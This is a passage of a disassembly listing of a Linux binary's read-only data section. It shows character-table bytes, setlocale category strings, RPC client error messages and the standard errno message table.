	  db 0AFh, 3 dup(0), 0B0h, 3 dup(0), 0B1h, 3 dup(0), 0B2h, 3 dup(0)
	  db 0B3h, 3 dup(0), 0B4h, 3 dup(0), 0B5h, 3 dup(0), 0B6h, 3 dup(0)
	  db 0B7h, 3 dup(0), 0B8h, 3 dup(0), 0B9h, 3 dup(0), 0BAh, 3 dup(0)
	  db 0BBh, 3 dup(0), 0BCh, 3 dup(0), 0BDh, 3 dup(0), 0BEh, 3 dup(0)
	  db 0BFh, 3 dup(0), 0C0h, 3 dup(0), 0C1h, 3 dup(0), 0C2h, 3 dup(0)
	  db 0C3h, 3 dup(0), 0C4h, 3 dup(0), 0C5h, 3 dup(0), 0C6h, 3 dup(0)
	  db 0C7h, 3 dup(0), 0C8h, 3 dup(0), 0C9h, 3 dup(0), 0CAh, 3 dup(0)
	  db 0CBh, 3 dup(0), 0CCh, 3 dup(0), 0CDh, 3 dup(0), 0CEh, 3 dup(0)
	  db 0CFh, 3 dup(0), 0D0h, 3 dup(0), 0D1h, 3 dup(0), 0D2h, 3 dup(0)
	  db 0D3h, 3 dup(0), 0D4h, 3 dup(0), 0D5h, 3 dup(0), 0D6h, 3 dup(0)
	  db 0D7h, 3 dup(0), 0D8h, 3 dup(0), 0D9h, 3 dup(0), 0DAh, 3 dup(0)
	  db 0DBh, 3 dup(0), 0DCh, 3 dup(0), 0DDh, 3 dup(0), 0DEh, 3 dup(0)
	  db 0DFh, 3 dup(0), 0E0h, 3 dup(0), 0E1h, 3 dup(0), 0E2h, 3 dup(0)
	  db 0E3h, 3 dup(0), 0E4h, 3 dup(0), 0E5h, 3 dup(0), 0E6h, 3 dup(0)
	  db 0E7h, 3 dup(0), 0E8h, 3 dup(0), 0E9h, 3 dup(0), 0EAh, 3 dup(0)
	  db 0EBh, 3 dup(0), 0ECh, 3 dup(0), 0EDh, 3 dup(0), 0EEh, 3 dup(0)
	  db 0EFh, 3 dup(0), 0F0h, 3 dup(0), 0F1h, 3 dup(0), 0F2h, 3 dup(0)
	  db 0F3h, 3 dup(0), 0F4h, 3 dup(0), 0F5h, 3 dup(0), 0F6h, 3 dup(0)
	  db 0F7h, 3 dup(0), 0F8h, 3 dup(0), 0F9h, 3 dup(0), 0FAh, 3 dup(0)
	  db 0FBh, 3 dup(0), 0FCh, 3 dup(0), 0FDh, 3 dup(0), 0FEh, 3 dup(0)
	  db 0FFh, 7 dup(0), 1,	3 dup(0), 2, 3 dup(0), 3, 3 dup(0), 4
	  db 3 dup(0), 5, 3 dup(0), 6, 3 dup(0), 7, 3 dup(0), 8, 3 dup(0)
	  db 9,	3 dup(0), 0Ah, 3 dup(0), 0Bh, 3	dup(0),	0Ch, 3 dup(0)
	  db 0Dh, 3 dup(0), 0Eh, 3 dup(0), 0Fh,	3 dup(0), 10h, 3 dup(0)
	  db 11h, 3 dup(0), 12h, 3 dup(0), 13h,	3 dup(0), 14h, 3 dup(0)
	  db 15h, 3 dup(0), 16h, 3 dup(0), 17h,	3 dup(0), 18h, 3 dup(0)
	  db 19h, 3 dup(0), 1Ah, 3 dup(0), 1Bh,	3 dup(0), 1Ch, 3 dup(0)
	  db 1Dh, 3 dup(0), 1Eh, 3 dup(0), 1Fh,	3 dup(0), 20h, 3 dup(0)
	  db 21h, 3 dup(0), 22h, 3 dup(0), 23h,	3 dup(0), 24h, 3 dup(0)
	  db 25h, 3 dup(0), 26h, 3 dup(0), 27h,	3 dup(0), 28h, 3 dup(0)
	  db 29h, 3 dup(0), 2Ah, 3 dup(0), 2Bh,	3 dup(0), 2Ch, 3 dup(0)
	  db 2Dh, 3 dup(0), 2Eh, 3 dup(0), 2Fh,	3 dup(0), 30h, 3 dup(0)
	  db 31h, 3 dup(0), 32h, 3 dup(0), 33h,	3 dup(0), 34h, 3 dup(0)
	  db 35h, 3 dup(0), 36h, 3 dup(0), 37h,	3 dup(0), 38h, 3 dup(0)
	  db 39h, 3 dup(0), 3Ah, 3 dup(0), 3Bh,	3 dup(0), 3Ch, 3 dup(0)
	  db 3Dh, 3 dup(0), 3Eh, 3 dup(0), 3Fh,	3 dup(0), 40h, 3 dup(0)
	  db 61h, 3 dup(0), 62h, 3 dup(0), 63h,	3 dup(0), 64h, 3 dup(0)
	  db 65h, 3 dup(0), 66h, 3 dup(0), 67h,	3 dup(0), 68h, 3 dup(0)
	  db 69h, 3 dup(0), 6Ah, 3 dup(0), 6Bh,	3 dup(0), 6Ch, 3 dup(0)
	  db 6Dh, 3 dup(0), 6Eh, 3 dup(0), 6Fh,	3 dup(0), 70h, 3 dup(0)
	  db 71h, 3 dup(0), 72h, 3 dup(0), 73h,	3 dup(0), 74h, 3 dup(0)
	  db 75h, 3 dup(0), 76h, 3 dup(0), 77h,	3 dup(0), 78h, 3 dup(0)
	  db 79h, 3 dup(0), 7Ah, 3 dup(0), 5Bh,	3 dup(0), 5Ch, 3 dup(0)
	  db 5Dh, 3 dup(0), 5Eh, 3 dup(0), 5Fh,	3 dup(0), 60h, 3 dup(0)
	  db 61h, 3 dup(0), 62h, 3 dup(0), 63h,	3 dup(0), 64h, 3 dup(0)
	  db 65h, 3 dup(0), 66h, 3 dup(0), 67h,	3 dup(0), 68h, 3 dup(0)
	  db 69h, 3 dup(0), 6Ah, 3 dup(0), 6Bh,	3 dup(0), 6Ch, 3 dup(0)
	  db 6Dh, 3 dup(0), 6Eh, 3 dup(0), 6Fh,	3 dup(0), 70h, 3 dup(0)
	  db 71h, 3 dup(0), 72h, 3 dup(0), 73h,	3 dup(0), 74h, 3 dup(0)
	  db 75h, 3 dup(0), 76h, 3 dup(0), 77h,	3 dup(0), 78h, 3 dup(0)
	  db 79h, 3 dup(0), 7Ah, 3 dup(0), 7Bh,	3 dup(0), 7Ch, 3 dup(0)
	  db 7Dh, 3 dup(0), 7Eh, 3 dup(0), 7Fh,	3 dup(0), 80h, 3 dup(0)
	  db 81h, 3 dup(0), 82h, 3 dup(0), 83h,	3 dup(0), 84h, 3 dup(0)
	  db 85h, 3 dup(0), 86h, 3 dup(0), 87h,	3 dup(0), 88h, 3 dup(0)
	  db 89h, 3 dup(0), 8Ah, 3 dup(0), 8Bh,	3 dup(0), 8Ch, 3 dup(0)
	  db 8Dh, 3 dup(0), 8Eh, 3 dup(0), 8Fh,	3 dup(0), 90h, 3 dup(0)
	  db 91h, 3 dup(0), 92h, 3 dup(0), 93h,	3 dup(0), 94h, 3 dup(0)
	  db 95h, 3 dup(0), 96h, 3 dup(0), 97h,	3 dup(0), 98h, 3 dup(0)
	  db 99h, 3 dup(0), 9Ah, 3 dup(0), 9Bh,	3 dup(0), 9Ch, 3 dup(0)
	  db 9Dh, 3 dup(0), 9Eh, 3 dup(0), 9Fh,	3 dup(0), 0A0h,	3 dup(0)
	  db 0A1h, 3 dup(0), 0A2h, 3 dup(0), 0A3h, 3 dup(0), 0A4h, 3 dup(0)
	  db 0A5h, 3 dup(0), 0A6h, 3 dup(0), 0A7h, 3 dup(0), 0A8h, 3 dup(0)
	  db 0A9h, 3 dup(0), 0AAh, 3 dup(0), 0ABh, 3 dup(0), 0ACh, 3 dup(0)
	  db 0ADh, 3 dup(0), 0AEh, 3 dup(0), 0AFh, 3 dup(0), 0B0h, 3 dup(0)
	  db 0B1h, 3 dup(0), 0B2h, 3 dup(0), 0B3h, 3 dup(0), 0B4h, 3 dup(0)
	  db 0B5h, 3 dup(0), 0B6h, 3 dup(0), 0B7h, 3 dup(0), 0B8h, 3 dup(0)
	  db 0B9h, 3 dup(0), 0BAh, 3 dup(0), 0BBh, 3 dup(0), 0BCh, 3 dup(0)
	  db 0BDh, 3 dup(0), 0BEh, 3 dup(0), 0BFh, 3 dup(0), 0C0h, 3 dup(0)
	  db 0C1h, 3 dup(0), 0C2h, 3 dup(0), 0C3h, 3 dup(0), 0C4h, 3 dup(0)
	  db 0C5h, 3 dup(0), 0C6h, 3 dup(0), 0C7h, 3 dup(0), 0C8h, 3 dup(0)
	  db 0C9h, 3 dup(0), 0CAh, 3 dup(0), 0CBh, 3 dup(0), 0CCh, 3 dup(0)
	  db 0CDh, 3 dup(0), 0CEh, 3 dup(0), 0CFh, 3 dup(0), 0D0h, 3 dup(0)
	  db 0D1h, 3 dup(0), 0D2h, 3 dup(0), 0D3h, 3 dup(0), 0D4h, 3 dup(0)
	  db 0D5h, 3 dup(0), 0D6h, 3 dup(0), 0D7h, 3 dup(0), 0D8h, 3 dup(0)
	  db 0D9h, 3 dup(0), 0DAh, 3 dup(0), 0DBh, 3 dup(0), 0DCh, 3 dup(0)
	  db 0DDh, 3 dup(0), 0DEh, 3 dup(0), 0DFh, 3 dup(0), 0E0h, 3 dup(0)
	  db 0E1h, 3 dup(0), 0E2h, 3 dup(0), 0E3h, 3 dup(0), 0E4h, 3 dup(0)
	  db 0E5h, 3 dup(0), 0E6h, 3 dup(0), 0E7h, 3 dup(0), 0E8h, 3 dup(0)
	  db 0E9h, 3 dup(0), 0EAh, 3 dup(0), 0EBh, 3 dup(0), 0ECh, 3 dup(0)
	  db 0EDh, 3 dup(0), 0EEh, 3 dup(0), 0EFh, 3 dup(0), 0F0h, 3 dup(0)
	  db 0F1h, 3 dup(0), 0F2h, 3 dup(0), 0F3h, 3 dup(0), 0F4h, 3 dup(0)
	  db 0F5h, 3 dup(0), 0F6h, 3 dup(0), 0F7h, 3 dup(0), 0F8h, 3 dup(0)
	  db 0F9h, 3 dup(0), 0FAh, 3 dup(0), 0FBh, 3 dup(0), 0FCh, 3 dup(0)
	  db 0FDh, 3 dup(0), 0FEh, 3 dup(0), 0FFh, 4 dup(0), 90h, 8 dup(0)
	  db 5,	3 dup(0), 0C0h,	9Ah, 6,	8, 8 dup(0), 0C1h, 9Dh,	6, 8, 0C2h
	  db 0A3h, 6, 8
unk_806A9E4 db	  0 ;			; DATA XREF: .rodata:0806AA20o
	  db 7 dup(0), 3, 3 dup(0), 0FFh, 0A9h,	6, 8, 0FEh, 0A9h, 6, 8
	  db 0FCh, 0A9h, 6, 8, 7Fh, 2 dup(0), 2Eh, 4 dup(0)
dword_806AA04 dd 8079288h		; DATA XREF: sub_8062CF8+11r
					; sub_8062CF8+1Br ...
	  dd offset dword_8078890
	  dd offset off_8079294
	  dd offset off_8079284
	  dd offset off_8079290
	  dd offset off_807928C
dword_806AA1C dd 806A9C4h		; DATA XREF: sub_8062CF8+39r
					; _setlocale+395r ...
	  dd offset unk_806A9E4
	  dd offset unk_806BC54
	  dd offset unk_806BBBC
	  dd offset unk_806BBC8
	  dd offset unk_806BC14
; char *string
string	  dd offset aLc_ctype		; DATA XREF: sub_8062940+221r
					; sub_8062940+28Ar ...
					; "LC_CTYPE"
dword_806AA38 dd 806AA77h		; DATA XREF: _setlocale+213r
dword_806AA3C dd 806AA6Fh		; DATA XREF: _setlocale+238r
dword_806AA40 dd 806AA64h		; DATA XREF: _setlocale+259r
dword_806AA44 dd 806AA58h		; DATA XREF: _setlocale+27Ar
dword_806AA48 dd 806AA4Ch		; DATA XREF: _setlocale+29Br
aLc_messages db	'LC_MESSAGES',0
aLc_monetary db	'LC_MONETARY',0
aLc_collate db 'LC_COLLATE',0
aLc_time  db 'LC_TIME',0
aLc_numeric db 'LC_NUMERIC',0
aLc_ctype db 'LC_CTYPE',0               ; DATA XREF: .rodata:0806AA34o
	  db  90h ; ђ
dword_806AA8C dd 8			; DATA XREF: sub_8062940+71r
					; sub_8062940+F5r ...
dword_806AA90 dd 0Ah			; DATA XREF: _setlocale+20Br
dword_806AA94 dd 7			; DATA XREF: _setlocale+230r
dword_806AA98 dd 0Ah			; DATA XREF: _setlocale+251r
dword_806AA9C dd 0Bh			; DATA XREF: _setlocale+272r
dword_806AAA0 dd 0Bh			; DATA XREF: _setlocale+293r
dword_806AAA4 dd 8066BC4h		; DATA XREF: sub_8062CF8+26r
					; sub_8062CF8+30r
	  db 14h dup(0)
unk_806AABC db	43h ; C			; DATA XREF: sub_8062940+17Fo
					; sub_8062C9C+17o ...
	  db	0 ;  
unk_806AABE db	43h ; C			; DATA XREF: sub_8062940+157o
					; _setlocale+364o ...
	  db	0 ;  
aPosix	  db 'POSIX',0                  ; DATA XREF: sub_8062940+16Co
					; _setlocale+379o ...
aLc_all	  db 'LC_ALL',0                 ; DATA XREF: _setlocale+4Bo
aLang	  db 'LANG',0                   ; DATA XREF: _setlocale+8Co
					; _setlocale+DAo ...
aS_2	  db '%s: ',0                   ; DATA XREF: _clnt_sperror+36o
					; _clnt_spcreateerror+22o
aErrnoS	  db '; errno = %s',0           ; DATA XREF: _clnt_sperror+E6o
aLowVersionLuHi	db '; low version = %lu, high version = %lu',0
					; DATA XREF: _clnt_sperror+11Co
					; _clnt_sperror+1B8o
aWhy	  db '; why = ',0               ; DATA XREF: _clnt_sperror+147o
aS_3	  db '%s',0                     ; DATA XREF: _clnt_sperror+172o
					; _clnt_perror+11o ...
aUnknownAuthent	db '(unknown authentication error - %d)',0 ; DATA XREF: _clnt_sperror+180o
aS1LuS2Lu db '; s1 = %lu, s2 = %lu',0   ; DATA XREF: _clnt_sperror+1DCo
; char format
format	  db 0Ah,0			; DATA XREF: _clnt_sperror+1F2o
					; _clnt_spcreateerror+E3o
aRpcFailedUnspe	db 'RPC: Failed (unspecified error)',0
aRpcProgramNotR	db 'RPC: Program not registered',0
aRpcPortMapperF	db 'RPC: Port mapper failure',0
aRpcUnknownProt	db 'RPC: Unknown protocol',0
aRpcUnknownHost	db 'RPC: Unknown host',0
aRpcRemoteSyste	db 'RPC: Remote system error',0
aRpcServerCanTD	db 'RPC: Server can',27h,'t decode arguments',0
aRpcProcedureUn	db 'RPC: Procedure unavailable',0
aRpcProgramVers	db 'RPC: Program/version mismatch',0
aRpcProgramUnav	db 'RPC: Program unavailable',0
aRpcAuthenticat	db 'RPC: Authentication error',0
aRpcIncompatibl	db 'RPC: Incompatible versions of RPC',0
aRpcTimedOut db	'RPC: Timed out',0
aRpcUnableToRec	db 'RPC: Unable to receive',0
aRpcUnableToSen	db 'RPC: Unable to send',0
aRpcCanTDecodeR	db 'RPC: Can',27h,'t decode result',0
aRpcCanTEncodeA	db 'RPC: Can',27h,'t encode arguments',0
aRpcSuccess db 'RPC: Success',0
aRpcUnknownErro	db 'RPC: (unknown error code)',0 ; DATA XREF: _clnt_sperrno+62o
; char asc_806AD30
asc_806AD30 db ' - ',0                  ; DATA XREF: _clnt_spcreateerror+55o
					; _clnt_spcreateerror+78o
aErrorD	  db 'Error %d',0               ; DATA XREF: _clnt_spcreateerror+CAo
aFailedUnspecif	db 'Failed (unspecified error)',0
aInvalidServerV	db 'Invalid server verifier',0
aClientCredenti	db 'Client credential too weak',0
aServerReject_0	db 'Server rejected verifier',0
aInvalidClientV	db 'Invalid client verifier',0
aServerReject_1	db 'Server rejected credential',0
aInvalidClientC	db 'Invalid client credential',0
aAuthentication	db 'Authentication OK',0
aOutOfMemory db	'out of memory',0       ; DATA XREF: _clnttcp_create+33o
aClnttcp_crea_0	db 'clnttcp_create: %s',0Ah,0 ; DATA XREF: _clnttcp_create+48o
aOutOfMemory_0 db 'out of memory',0     ; DATA XREF: _clntudp_bufcreate+46o
aClntudp_create	db 'clntudp_create: %s',0Ah,0 ; DATA XREF: _clntudp_bufcreate+5Co
aOutOfMemory_1 db 'out of memory',0     ; DATA XREF: _xdr_bytes+6Co
					; _xdr_string+81o
aXdr_bytesS db 'xdr_bytes: %s',0Ah,0    ; DATA XREF: _xdr_bytes+81o
aXdr_stringS db	'xdr_string: %s',0Ah,0  ; DATA XREF: _xdr_string+96o
aOutOfMemory_2 db 'out of memory',0     ; DATA XREF: _xdrrec_create+4Bo
aXdrrec_createS	db 'xdrrec_create: %s',0Ah,0 ; DATA XREF: _xdrrec_create+60o
	  align	4
dword_806AE98 dd 806BBAAh		; DATA XREF: __strerror_internal+2Cr
					; __IO_perror+3Dr ...
	  dd offset aOperationNotPe	; "Operation not permitted"
	  dd offset aNoSuchFileOrDi	; "No such file	or directory"
	  dd offset aNoSuchProcess	; "No such process"
	  dd offset aInterruptedSys	; "Interrupted system call"
	  dd offset aIOError		; "I/O error"
	  dd offset aNoSuchDeviceOr	; "No such device or address"
	  dd offset aArgListTooLong	; "Arg list too	long"
	  dd offset aExecFormatErro	; "Exec	format error"
	  dd offset aBadFileNumber	; "Bad file number"
	  dd offset aNoChildProcess	; "No child processes"
	  dd offset aTryAgain		; "Try again"
	  dd offset aOutOfMemory_4	; "Out of memory"
	  dd offset aPermissionDeni	; "Permission denied"
	  dd offset aBadAddress		; "Bad address"
	  dd offset aBlockDeviceReq	; "Block device	required"
	  dd offset aDeviceOrResour	; "Device or resource busy"
	  dd offset aFileExists		; "File	exists"
	  dd offset aCrossDeviceLin	; "Cross-device	link"
	  dd offset aNoSuchDevice	; "No such device"
	  dd offset aNotADirectory	; "Not a directory"
	  dd offset aIsADirectory	; "Is a	directory"
	  dd offset aInvalidArgumen	; "Invalid argument"
	  dd offset aFileTableOverf	; "File	table overflow"
	  dd offset aTooManyOpenFil	; "Too many open files"
	  dd offset aNotATypewriter	; "Not a typewriter"
	  dd offset aTextFileBusy	; "Text	file busy"
	  dd offset aFileTooLarge	; "File	too large"
	  dd offset aNoSpaceLeftOnD	; "No space left on device"
	  dd offset aIllegalSeek	; "Illegal seek"
	  dd offset aReadOnlyFileSy	; "Read-only file system"
	  dd offset aTooManyLinks	; "Too many links"
	  dd offset aBrokenPipe		; "Broken pipe"
	  dd offset aMathArgumentOu	; "Math	argument out of	domain of func"
	  dd offset aMathResultNotR	; "Math	result not representable"
	  dd offset aResourceDeadlo	; "Resource deadlock would occur"
	  dd offset aFileNameTooLon	; "File	name too long"
	  dd offset aNoRecordLocksA	; "No record locks available"
	  dd offset aFunctionNotImp	; "Function not	implemented"
	  dd offset aDirectoryNotEm	; "Directory not empty"
	  dd offset aTooManySymboli	; "Too many symbolic links encountered"
	  dd offset aOperationWould	; "Operation would block"
	  dd offset aNoMessageOfDes	; "No message of desired type"
	  dd offset aIdentifierRemo	; "Identifier removed"
	  dd offset aChannelNumberO	; "Channel number out of range"
	  dd offset aLevel2NotSynch	; "Level 2 not synchronized"
	  dd offset aLevel3Halted	; "Level 3 halted"
	  dd offset aLevel3Reset	; "Level 3 reset"
	  dd offset aLinkNumberOutO	; "Link	number out of range"
	  dd offset aProtocolDriver	; "Protocol driver not attached"
	  dd offset aNoCsiStructure	; "No CSI structure available"
	  dd offset aLevel2Halted	; "Level 2 halted"
	  dd offset aInvalidExchang	; "Invalid exchange"
	  dd offset aInvalidRequest	; "Invalid request descriptor"
	  dd offset aExchangeFull	; "Exchange full"
	  dd offset aNoAnode		; "No anode"
	  dd offset aInvalidReque_0	; "Invalid request code"
	  dd offset aInvalidSlot	; "Invalid slot"
	  dd offset aFileLockingDea	; "File	locking	deadlock error"
	  dd offset aBadFontFileFor	; "Bad font file format"
	  dd offset aDeviceNotAStre	; "Device not a	stream"
	  dd offset aNoDataAvailabl	; "No data available"
	  dd offset aTimerExpired	; "Timer expired"
	  dd offset aOutOfStreamsRe	; "Out of streams resources"
	  dd offset aMachineIsNotOn	; "Machine is not on the network"
	  dd offset aPackageNotInst	; "Package not installed"
	  dd offset aObjectIsRemote	; "Object is remote"
	  dd offset aLinkHasBeenSev	; "Link	has been severed"
	  dd offset aAdvertiseError	; "Advertise error"
	  dd offset aSrmountError	; "Srmount error"
	  dd offset aCommunicationE	; "Communication error on send"
	  dd offset aProtocolError	; "Protocol error"
	  dd offset aMultihopAttemp	; "Multihop attempted"
	  dd offset aRfsSpecificErr	; "RFS specific	error"
	  dd offset aNotADataMessag	; "Not a data message"
	  dd offset aValueTooLargeF	; "Value too large for defined data type"
	  dd offset aNameNotUniqueO	; "Name	not unique on network"
	  dd offset aFileDescriptor	; "File	descriptor in bad state"
	  dd offset aRemoteAddressC	; "Remote address changed"
	  dd offset aCanNotAccessAN	; "Can not access a needed shared library"
	  dd offset aAccessingACorr	; "Accessing a corrupted shared	library"
	  dd offset a_libSectionInA	; ".lib	section	in a.out corrupted"
	  dd offset aAttemptingToLi	; "Attempting to link in too many shared l"...
	  dd offset aCannotExecASha	; "Cannot exec a shared	library	directly"
	  dd offset aIllegalByteSeq	; "Illegal byte	sequence"
	  dd offset aInterruptedS_0	; "Interrupted system call should be resta"...
	  dd offset aStreamsPipeErr	; "Streams pipe	error"
	  dd offset aTooManyUsers	; "Too many users"
	  dd offset aSocketOperatio	; "Socket operation on non-socket"
	  dd offset aDestinationAdd	; "Destination address required"
	  dd offset aMessageTooLong	; "Message too long"
	  dd offset aProtocolWrongT	; "Protocol wrong type for socket"
	  dd offset aProtocolNotAva	; "Protocol not	available"
	  dd offset aProtocolNotSup	; "Protocol not	supported"
	  dd offset aSocketTypeNotS	; "Socket type not supported"
	  dd offset aOperationNotSu	; "Operation not supported on transport	en"...
	  dd offset aProtocolFamily	; "Protocol family not supported"
	  dd offset aAddressFamilyN	; "Address family not supported	by protoco"...
	  dd offset aAddressAlready	; "Address already in use"
	  dd offset aCannotAssignRe	; "Cannot assign requested address"
	  dd offset aNetworkIsDown	; "Network is down"
	  dd offset aNetworkIsUnrea	; "Network is unreachable"
	  dd offset aNetworkDropped	; "Network dropped connection because of r"...
	  dd offset aSoftwareCaused	; "Software caused connection abort"
	  dd offset aConnectionRese	; "Connection reset by peer"
	  dd offset aNoBufferSpaceA	; "No buffer space available"
	  dd offset aTransportEndpo	; "Transport endpoint is already connected"...
	  dd offset aTransportEnd_0	; "Transport endpoint is not connected"
	  dd offset aCannotSendAfte	; "Cannot send after transport endpoint	sh"...
	  dd offset aTooManyReferen	; "Too many references:	cannot splice"
	  dd offset aConnectionTime	; "Connection timed out"
	  dd offset aConnectionRefu	; "Connection refused"
	  dd offset aHostIsDown		; "Host	is down"
	  dd offset aNoRouteToHost	; "No route to host"
	  dd offset aOperationAlrea	; "Operation already in	progress"
	  dd offset aOperationNowIn	; "Operation now in progress"
	  dd offset aStaleNfsFileHa	; "Stale NFS file handle"
	  dd offset aStructureNeeds	; "Structure needs cleaning"
	  dd offset aNotAXenixNamed	; "Not a XENIX named type file"
	  dd offset aNoXenixSemapho	; "No XENIX semaphores available"
	  dd offset aIsANamedTypeFi	; "Is a	named type file"
	  dd offset aRemoteIOError	; "Remote I/O error"
	  dd offset aQuotaExceeded	; "Quota exceeded"
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
aQuotaExceeded db 'Quota exceeded',0    ; DATA XREF: .rodata:0806B080o
aRemoteIOError db 'Remote I/O error',0  ; DATA XREF: .rodata:0806B07Co
aIsANamedTypeFi	db 'Is a named type file',0 ; DATA XREF: .rodata:0806B078o
aNoXenixSemapho	db 'No XENIX semaphores available',0 ; DATA XREF: .rodata:0806B074o
aNotAXenixNamed	db 'Not a XENIX named type file',0 ; DATA XREF: .rodata:0806B070o
aStructureNeeds	db 'Structure needs cleaning',0 ; DATA XREF: .rodata:0806B06Co
aStaleNfsFileHa	db 'Stale NFS file handle',0 ; DATA XREF: .rodata:0806B068o
aOperationNowIn	db 'Operation now in progress',0 ; DATA XREF: .rodata:0806B064o
aOperationAlrea	db 'Operation already in progress',0 ; DATA XREF: .rodata:0806B060o
aNoRouteToHost db 'No route to host',0  ; DATA XREF: .rodata:0806B05Co
aHostIsDown db 'Host is down',0         ; DATA XREF: .rodata:0806B058o
aConnectionRefu	db 'Connection refused',0 ; DATA XREF: .rodata:0806B054o
aConnectionTime	db 'Connection timed out',0 ; DATA XREF: .rodata:0806B050o
aTooManyReferen	db 'Too many references: cannot splice',0 ; DATA XREF: .rodata:0806B04Co
aCannotSendAfte	db 'Cannot send after transport endpoint shutdown',0
					; DATA XREF: .rodata:0806B048o
aTransportEnd_0	db 'Transport endpoint is not connected',0 ; DATA XREF: .rodata:0806B044o
aTransportEndpo	db 'Transport endpoint is already connected',0
					; DATA XREF: .rodata:0806B040o
aNoBufferSpaceA	db 'No buffer space available',0 ; DATA XREF: .rodata:0806B03Co
aConnectionRese	db 'Connection reset by peer',0 ; DATA XREF: .rodata:0806B038o
aSoftwareCaused	db 'Software caused connection abort',0 ; DATA XREF: .rodata:0806B034o
aNetworkDropped	db 'Network dropped connection because of reset',0
					; DATA XREF: .rodata:0806B030o
aNetworkIsUnrea	db 'Network is unreachable',0 ; DATA XREF: .rodata:0806B02Co
aNetworkIsDown db 'Network is down',0   ; DATA XREF: .rodata:0806B028o
aCannotAssignRe	db 'Cannot assign requested address',0 ; DATA XREF: .rodata:0806B024o
aAddressAlready	db 'Address already in use',0 ; DATA XREF: .rodata:0806B020o
aAddressFamilyN	db 'Address family not supported by protocol',0
					; DATA XREF: .rodata:0806B01Co
aProtocolFamily	db 'Protocol family not supported',0 ; DATA XREF: .rodata:0806B018o
aOperationNotSu	db 'Operation not supported on transport endpoint',0
					; DATA XREF: .rodata:0806B014o
aSocketTypeNotS	db 'Socket type not supported',0 ; DATA XREF: .rodata:0806B010o
aProtocolNotSup	db 'Protocol not supported',0 ; DATA XREF: .rodata:0806B00Co
aProtocolNotAva	db 'Protocol not available',0 ; DATA XREF: .rodata:0806B008o
aProtocolWrongT	db 'Protocol wrong type for socket',0 ; DATA XREF: .rodata:0806B004o
aMessageTooLong	db 'Message too long',0 ; DATA XREF: .rodata:0806B000o
aDestinationAdd	db 'Destination address required',0 ; DATA XREF: .rodata:0806AFFCo
aSocketOperatio	db 'Socket operation on non-socket',0 ; DATA XREF: .rodata:0806AFF8o
aTooManyUsers db 'Too many users',0     ; DATA XREF: .rodata:0806AFF4o
aStreamsPipeErr	db 'Streams pipe error',0 ; DATA XREF: .rodata:0806AFF0o
aInterruptedS_0	db 'Interrupted system call should be restarted',0
					; DATA XREF: .rodata:0806AFECo
aIllegalByteSeq	db 'Illegal byte sequence',0 ; DATA XREF: .rodata:0806AFE8o
aCannotExecASha	db 'Cannot exec a shared library directly',0 ; DATA XREF: .rodata:0806AFE4o
aAttemptingToLi	db 'Attempting to link in too many shared libraries',0
					; DATA XREF: .rodata:0806AFE0o
a_libSectionInA	db '.lib section in a.out corrupted',0 ; DATA XREF: .rodata:0806AFDCo
aAccessingACorr	db 'Accessing a corrupted shared library',0 ; DATA XREF: .rodata:0806AFD8o
aCanNotAccessAN	db 'Can not access a needed shared library',0 ; DATA XREF: .rodata:0806AFD4o
aRemoteAddressC	db 'Remote address changed',0 ; DATA XREF: .rodata:0806AFD0o
aFileDescriptor	db 'File descriptor in bad state',0 ; DATA XREF: .rodata:0806AFCCo
aNameNotUniqueO	db 'Name not unique on network',0 ; DATA XREF: .rodata:0806AFC8o
aValueTooLargeF	db 'Value too large for defined data type',0 ; DATA XREF: .rodata:0806AFC4o
aNotADataMessag	db 'Not a data message',0 ; DATA XREF: .rodata:0806AFC0o
aRfsSpecificErr	db 'RFS specific error',0 ; DATA XREF: .rodata:0806AFBCo
aMultihopAttemp	db 'Multihop attempted',0 ; DATA XREF: .rodata:0806AFB8o
aProtocolError db 'Protocol error',0    ; DATA XREF: .rodata:0806AFB4o
aCommunicationE	db 'Communication error on send',0 ; DATA XREF: .rodata:0806AFB0o
aSrmountError db 'Srmount error',0      ; DATA XREF: .rodata:0806AFACo
aAdvertiseError	db 'Advertise error',0  ; DATA XREF: .rodata:0806AFA8o
aLinkHasBeenSev	db 'Link has been severed',0 ; DATA XREF: .rodata:0806AFA4o
aObjectIsRemote	db 'Object is remote',0 ; DATA XREF: .rodata:0806AFA0o
aPackageNotInst	db 'Package not installed',0 ; DATA XREF: .rodata:0806AF9Co
aMachineIsNotOn	db 'Machine is not on the network',0 ; DATA XREF: .rodata:0806AF98o
aOutOfStreamsRe	db 'Out of streams resources',0 ; DATA XREF: .rodata:0806AF94o
aTimerExpired db 'Timer expired',0      ; DATA XREF: .rodata:0806AF90o
aNoDataAvailabl	db 'No data available',0 ; DATA XREF: .rodata:0806AF8Co
aDeviceNotAStre	db 'Device not a stream',0 ; DATA XREF: .rodata:0806AF88o
aBadFontFileFor	db 'Bad font file format',0 ; DATA XREF: .rodata:0806AF84o
aFileLockingDea	db 'File locking deadlock error',0 ; DATA XREF: .rodata:0806AF80o
aInvalidSlot db	'Invalid slot',0        ; DATA XREF: .rodata:0806AF7Co
aInvalidReque_0	db 'Invalid request code',0 ; DATA XREF: .rodata:0806AF78o
aNoAnode  db 'No anode',0               ; DATA XREF: .rodata:0806AF74o
aExchangeFull db 'Exchange full',0      ; DATA XREF: .rodata:0806AF70o
aInvalidRequest	db 'Invalid request descriptor',0 ; DATA XREF: .rodata:0806AF6Co
aInvalidExchang	db 'Invalid exchange',0 ; DATA XREF: .rodata:0806AF68o
aLevel2Halted db 'Level 2 halted',0     ; DATA XREF: .rodata:0806AF64o
aNoCsiStructure	db 'No CSI structure available',0 ; DATA XREF: .rodata:0806AF60o
aProtocolDriver	db 'Protocol driver not attached',0 ; DATA XREF: .rodata:0806AF5Co
aLinkNumberOutO	db 'Link number out of range',0 ; DATA XREF: .rodata:0806AF58o
aLevel3Reset db	'Level 3 reset',0       ; DATA XREF: .rodata:0806AF54o
aLevel3Halted db 'Level 3 halted',0     ; DATA XREF: .rodata:0806AF50o
aLevel2NotSynch	db 'Level 2 not synchronized',0 ; DATA XREF: .rodata:0806AF4Co
aChannelNumberO	db 'Channel number out of range',0 ; DATA XREF: .rodata:0806AF48o
aIdentifierRemo	db 'Identifier removed',0 ; DATA XREF: .rodata:0806AF44o
aNoMessageOfDes	db 'No message of desired type',0 ; DATA XREF: .rodata:0806AF40o
aOperationWould	db 'Operation would block',0 ; DATA XREF: .rodata:0806AF3Co
aTooManySymboli	db 'Too many symbolic links encountered',0 ; DATA XREF: .rodata:0806AF38o
aDirectoryNotEm	db 'Directory not empty',0 ; DATA XREF: .rodata:0806AF34o
